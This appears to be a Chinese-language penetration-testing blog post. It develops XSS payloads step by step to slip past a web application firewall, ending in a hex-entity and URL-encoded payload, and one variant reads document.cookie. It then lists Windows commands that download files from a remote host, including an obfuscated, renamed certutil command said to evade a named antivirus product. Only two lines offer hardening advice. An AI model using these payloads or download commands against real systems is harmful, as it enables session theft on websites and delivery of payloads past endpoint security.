文章目錄
- XSS繞過防護
-
- 變形:
- 加強
- windows指令行遠端下載下傳檔案
- 參考
XSS繞過防護
payload的選擇:
<script>alert(1)</script>
<img src=1 onerror=alert(1)>
<image/src=| onerror = javascript:alert(document.cookie)>
如果用XSS字典去FUZZ測試
優點:高效
缺點:隻能測試反射型XSS,被攔截的可能性很大
對于
<script>
這種的payload,如果不是變形的,基本上現在随便一個WAF裝置都能準确識别了,存活的可能性比較低。
是以用
<img src=1 onerror=alert(1)>
,但是alert關鍵字太明顯
變形:
-
可以變成<img>
<image>
-
中間隻要有空格、TAB鍵都會被攔截,是以換成這種形式<image src=>
,用<image/src=>
這個符号替代空格。/
-
的右邊隻要是src=
。經過測試,發現數字、字母啥的,就會被攔截
右邊是可以src=
的,是以語句變成如下格式接特殊字元串
(注:這個是特殊字元豎杠,不是字母或者數字),這樣就繞過了防護。<image/src=|>
-
在=号左右兩邊加上TAB鍵,變成如下格式onerror = alert(111)可以繞過=附近的攔截onerror=alert(111)
-
這個部分還是會被攔截,借助alert(111)
,因為javascript:這部分可以接各種編碼,之後測試的payload變成如下格式javascript:僞協定
<images/src=| onerror = javascript:alert(111)>
-
編碼成16進制格式:javascript:alert(111)
把javascript:alert(111)
去掉,一樣是可以觸發漏洞的,(為什麼會攔截;呢,我想它的本意不是為了攔截XSS,是為了攔截多語句的SQL注入的分号。);
- 直接用burpsuite抓包送出是不行的,因為&會與POST請求資料包中的&分割符重複,這個好解決,可以對payload進行URL編碼一樣吧。
- URL編碼後的payload大緻如下所示:
<image/src=| onerror = %26%23%78%36%61%26%23%78%36%31%26%23%78%37%36%26%23%78%36%31%26%23%78%37%33%26%23%78%36%33%26%23%78%37%32%26%23%78%36%39%26%23%78%37%30%26%23%78%37%34%26%23%78%33%61%26%23%78%36%31%26%23%78%36%63%26%23%78%36%35%26%23%78%37%32%26%23%78%37%34%26%23%78%32%38%26%23%78%33%31%26%23%78%33%31%26%23%78%33%31%26%23%78%32%39>
加強
- 禁止管理者背景的外網登入,限制僅内網可以登入
- 設定HttpOnly
windows指令行遠端下載下傳檔案
方法一
certutil -urlcache -split -f http://xx.xx.xx.xx/test.zip c:\test.zip (windows遠端下載下傳檔案至本地,僅需要一個cmd執行的地方)
方法二
curl http://xx.xx.xx.xx/test.zip -o c:\test.zip
方法三
繞最新版火絨下載下傳(2022年9月24日):修改C:\Windows\System32下的certutil.exe為c.exe
c.exe -U^R""""L""""C^a""""c""""h^e -s^p""""l""""i^t -f http://x.x.x.x/1.txt
方法四
powershell -c "invoke-webrequest -uri http://xx.xx.xx.xx/test.zip -outfile test.zip"
參考
- XSS繞過防護盲打某SRC官網背景
- windows指令行遠端下載下傳檔案的三種方法